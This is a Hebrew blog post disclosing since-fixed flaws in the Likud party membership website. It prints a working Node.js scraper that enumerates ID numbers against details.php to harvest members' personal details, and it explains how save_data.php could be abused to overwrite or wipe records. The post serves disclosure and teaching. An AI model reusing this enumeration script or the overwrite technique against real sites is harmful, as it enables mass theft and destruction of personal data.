לרגל הלגלוג האחרון שיש בישראל מצד עיתונאים בכירים על ׳אבטחת המידע׳ של האיראנים – זה הזמן להזכיר (שוב, ושוב ושוב ושוב) שהמצב בישראל הוא לא משהו.
אתם קולטים שעיתונאים בישראל צוחקים על אבטחת המידע של איראן. לא שמעו על כך שבישראל אנשים בלי ידע משמעותי באבטחת מידע הצליחו בדקות ובלי כלים כלל לחדור למאגר הנתונים של השב״ס, המשטרה, מרשם האוכלוסין ושלוש המפלגות הגדולות בישראל… מתחת לאף. https://t.co/DDdXFmYn4m
— Ran Bar-Zik (@barzik) May 1, 2018
המצב בישראל לא משהו כי אני ואחרים (אהם אהם נועם רותם) מפרסמים שוב ושוב על פרצות שונות. אבל על כל פרצה שמפורסמת יש אלף שלא ועל כל האקר דה לה שמאטע שמדווח על הדברים שהוא מצא, יש אלף שלא. וכיוון שיש כאלו שמתפארים שאנחנו מעצמת סייבר והאיראנים עלובים, מצאתי לנכון להזכר בפרצת אבטחת מידע שלא פורסמה שבמסגרתה מאגר חברי הליכוד היה חשוף לרשת. מי שמצא את הפרצה היה העיתונאי עידו קינן לפני כשנה. עם עידו קינן עבדתי בפרשת על הפרצות באתר מפלגת העבודה ואתר הבית היהודי, קיבלנו המון תגובות נוסח ״חחחח בליכוד זה לא היה קורה״. אז עשינו מחקר קצר. היו לי 5 דקות פנויות אז נכנסתי לאתר המטה הלאומי בליכוד וראיתי שכל פרטי החברים חשופים. וכשאני אומר פרטים אני מתכוון לפרטים מלאים. האם השתמשתי בכלי אבטחה ופריצה? בוודאי שלא. במה השתמשתי? בכלי פיתוח סטנדרטיים.
עידו קינן כתב על הפרשה באופן נרחב בחדר 404.
אבל איכשהו שנינו התעצלנו ולא עשינו עם זה כלום. למה? בגלל שהיינו עסוקים בפרצות אחרות יותר מעניינות ובגלל שלא היה לנו כוח. סך הכל אני וגם עידו לא מקבלים משכורת על כל החשיפות האלו ועל כל פרצה שאנחנו מוצאים, יש שלוש שאנחנו לא מדווחים עליהן כי הן קטנות מדי, או שאנחנו מתעצלים. גם אין בישראל מקום מסודר לדווח על דליפות כאלו. לאחרונה במטה הלאומי שינו את האתר כך שאני מרגיש בטוח לפרסם את הפוסט גם בלי לעשות disclosure מסודר. אני מסביר באופן טכני על הפירצה הזו שהיתה קיימת חודשים רבים ואיפשרה לכל מאן דהו לקבל את כל הפרטים האישיים של כל חבר בליכוד. גם של ראש הממשלה. יש גם סרטון.
ֿ
בסרט שהכנתי עם עומרי, הבן הגדול שלי שהוא מתכנת בפני עצמו, שבו אנחנו מסבירים (וקצת צוחקים) על הפרצות.
כפי שניתן לראות בסרטון – מאגר חברי של הליכוד היה פתוח לרווחה.ֿ – ועכשיו הפרטים הטכניים:
האתר של המטה הלאומי בליכוד הוא אתר PHP חביב למדי שמאפשר בדיקה אם אתה חבר בליכוד והרשמה לחברות בליכוד במידה ואינך חבר שם. למרבה הצער האתר החביב הסתיר כמה פרצות משמעותיות:
הפירצה הראשונה שהיתה באתר ושותפה ללא מעט אתרים ממשלתיים היא כמובן המביכה מכל והבולטת מכל – תעודת אבטחה לקויה. זה מביך כיוון שתעודת אבטחה תקינה בעידן של היום ניתנת ליצירה בחינם. למשל תעודת האבטחה של האתר הזה נעשתה בחינם. כל מה שצריך הוא מעט תשומת לב ומקצועיות. תעודת אבטחה תקינה לא רק מזכה בחותמת ׳secured' אלא גם מונעת האזנה של גורם צד שלישי לתקשורת. למה זה חשוב? אם אני יושב בבית קפה ומשתמש ברשת, בעל בית הקפה יכול להאזין לתקשורת הזו בקלות. זו המשמעות של העדר תעודת אבטחה. למרבה השמחה, קל מאוד לחדש את תעודת האבטחה.
אבל זה התגמד לעומת הפרצה השניה. הפרצה השניה הזכירה את הפרצה באתר מפלגת העבודה. כאשר הקלדתי מספר תעודת זהות בממשק, קיבלתי את הפרטים שלי במידה ואני חבר מפלגת הליכוד או טופס הרשמה.
לא היתה שום אכיפה של מספר בקשות. אם אדם מסוים רצה לסרוק את האתר ולשאוב את מאגר המתפקדים של הליכוד, כל מה הוא היה צריך זה לבנות סקריפט קטן שמבצע בקשת POST אל details.php עם הפרמטר id_number ומספר ה-id. כאשר בתיאוריה אני יכול להתחיל מ-000000000 ולסיים ב-999999999. טופס ריק לא ייכנס אל המאגר שלי, טופס מלא ייכנס גם ייכנס.
זה אולי נראה קצת מסובך, אבל זה ממש לא קשה. כל אדם עם ידע בסיסי בג׳אווהסקריפט לא יתקשה לעשות את זה. הקושי העיקרי הוא שאנחנו מקבלים דף HTML עם הנתונים ועלינו לנתח אותו. אבל גם זה קל כיוון שבכל שפה ישנם מודולים שמאפשרים לנו לקחת HTML ולפרסר אותו ממש כמו דף רגיל ואז להריץ עליו פקודות של ׳תביא לי את ה-value של האלמנט עם ה-id הזה״. על מנת להמחיש את זה, הנה הסקריפט שעשה את זה לאתר של הליכוד. כתוב ב-node.js:
const request = require('request');
const jsdom = require('jsdom');
const { JSDOM } = jsdom;
class Crawler {
constructor(id_number) {
// Getting the id number.
id_number = this.checkValidNumber(id_number);
// Padding it, i.e. 1 wil become 00000001.
this.id = id_number;
console.log(`Scanning ${id_number}`);
const url = 'https://likudleumi.org.il/details.php';
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
// Creating the POST request with the id_number parameter
request.post({ url, form: { id_number } }, (error, response, body) => {
console.log('statusCode:', response && response.statusCode);
// Get the HTML result and then analyze it.
let answer = this.getName(body);
this.insertToDB(answer);
});
}
/**
* CheckValidNumber - pad the number.
* @param {*} number
*/
checkValidNumber(number) {
let str = '' + number;
while (str.length < 9) {
str = '0' + str;
}
return str;
}
/**
* geName - return answer object after parsing the HTML.
* @param {*} body
*/
getName(body) {
this.dom = new JSDOM(body);
const answer = {};
answer.id = this.id;
answer.first_name = this.getInputElement('first_name');
answer.last_name = this.getInputElement('last_name');
answer.birth_year = this.getInputElement('birth_year');
answer.city = this.getInputElement('city');
answer.address = this.getInputElement('address');
return answer;
}
/**
* getInputElement - returning the value of selected input by ID.
* @param {*} elementId
*/
getInputElement(elementId) {
return this.dom.window.document.getElementById(elementId).value;
}
/**
* insertToDB - insert it to DB. In our case, just console it.
* @param {*} answer
*/
insertToDB(answer) {
if(answer.first_name) {
console.log(answer);
}
}
}
new Crawler(12345674)
// for(let i = 1; i < 999999999; i++) {
// new Crawler(i);
// }
ישנן הערות בטקסט, אבל אפשר לראות כמה זה פשוט. 75 שורות וזה הכל 🙂 למטה, בהערה, אפשר לראות את הלולאה שאותה אנחנו יכולים להריץ.
והנה ההרצה:
(אגב, הכנסתי באג קטן בסקריפט, מישהו יכול לנחש למה זה לא יעבוד בלולאה?)
אז כפי שאנו רואים, קל מאוד לפענח גם דפי HTML מורכבים. איך מגינים על העניין הזה? הוספת reCPATCHA ובדיקה בשרת שאין יותר מדי בקשות מאותו IP. גם את הדברים האלו אפשר לעקוף, אבל זה מחייב ידע יותר מתקדם מהסקריפט קידי הממוצע.
אבל זה באג אחד. מה עם הבאג השני והחמור אף יותר? שימו לב שבדוגמה השתמשתי במשתמש ששמו ישראל ישראלי, מספר תעודת הזהות שלו הוא 12345674 והוא גר ברחוב מירי רגב. כמובן שאין משתמש כזה אלא אני יצרתי אותו באמצעות הממשק באתר. יצירת המשתמש נעשית באמצעות טופס ששולח פרטים אל save_data.php כאשר הפרטים מגיעים כטופס, כמו כל בקשת POST. די סולידי, נכון? באמצעות כלי המפתחים המובנה של הדפדפן אני יכול לבחון כל בקשה ובאמת ראיתי שיוצאת בקשה אל save_data.php עם הנתונים של המשתמש ובראשם כתובת תעודת הזהות שנדרשתי להזין.
הרבה פעמים, כשאנו רואים ממשק וובי או יוצרים אחד כזה, אנחנו חושבים בצורה ׳דפדפנית׳. אבל אפשר לעבוד גם לא עם דפדפן. אחת מהשיטות הטובות לעשות אמולציה של קריאת שרת שלא דרך דפדפן היא באמצעות תוכנת postman. מדובר באפליקציה חינמית וקלילה לחלונות, מק או לינוקס ומאפשרת לנו לשגר בקשות אל השרת. אני משתמש בה לא מעט – גם לבדוק את האפליקציות שלי וגם לבדוק אפליקציות אחרות. קל מאוד לדמות באמצעות האפליקציה בקשת POST. ניסיתי ליצור בקשת POST של משתמש חדש אבל עם id של משתמש קיים. במקרה הזה נעזרנו במתפקד ליכוד אמיתי שהסכים לנדב את מספר הזהות שלו. יצרתי בקשת POST עם הפרטים שלו אבל שיניתי רק את מספר הטלפון שלו. להפתעתי הגמורה, הפרטים של המשתמש האמיתי השתנו. כלומר היה אפשר להשתמש ב-save_data.php כדי לשנות איזה פרט שאנחנו רוצים אצל כל משתמש שקיים במאגר הנתונים. מי שהיה רוצה להשחית את מסד הנתונים, היה יכול בקלות ליצור סקריפט זהה לסקריפט בדוגמה הקודמת ובמקום לשגר את הבקשה אל details.php הוא היה משגר אותה עם פרמטרים ריקים אל save_data.php וכך משמיד את מאגר הנתונים.
התיקון במקרה הזה הוא קל מאוד – פשוט לא לאפשר שינוי של נתונים במשתמש קיים. המתכנת פשוט חשב בצורה ׳דפדפנית׳ וניכר שהוא מעולם לא עבד עם API מסודר או עבר הכשרה מסודרת.
הנימה של המאמר הזה היא מבודחת, אבל הסיפור לא מצחיק בכלל. ההשלכות המשפטיות של הסיפור הזה עלולות להגמר לא בפוסט באתר וכמה כתבות בעיתון אלא בכתב אישום פלילי. יש חובות חוקיות שמוטלות על מי שמחזיק מאגר מידע עם פרטים רגישים (וכן, מספר תעודת זהות הוא פרט רגיש) ומי שמפר אותן צפוי לקנס ולמאסר. כן, גם אם הוא רק ׳המתכנת׳. כיוון שעל המתכנת לוודא באופן מקצועי שמאגרי המידע שמורים היטב ולא להתרשל. ולא להטמיע הגנות בסיסיות זו רשלנות. האתר הזה היה חשוף במשך חודשים. אבל אנחנו? אנחנו מדינת ״סייבר״.
6 תגובות
היות ובסירטון ראיתי שיש לך Firefox, רק רציתי להזכיר שיש את התוסף RESTClient במקום לחזור למחוזות ה chrome
זה מה שקורה כשלומדים "בניית אתרים".
זה קורה שמקבלים אנשים רק עם סיווג ביטחוני ובשכר מנימום .
תשלמו כמו שצריך לעובדים ותקבלו אתר מאובטח
הזוי אפילו לא טרחו להשקיע בבדיקות אבטחה :Q
לא עליתי על הבאג, אפשר רמז?
; const { JSDOM } = jsdom
לא זה?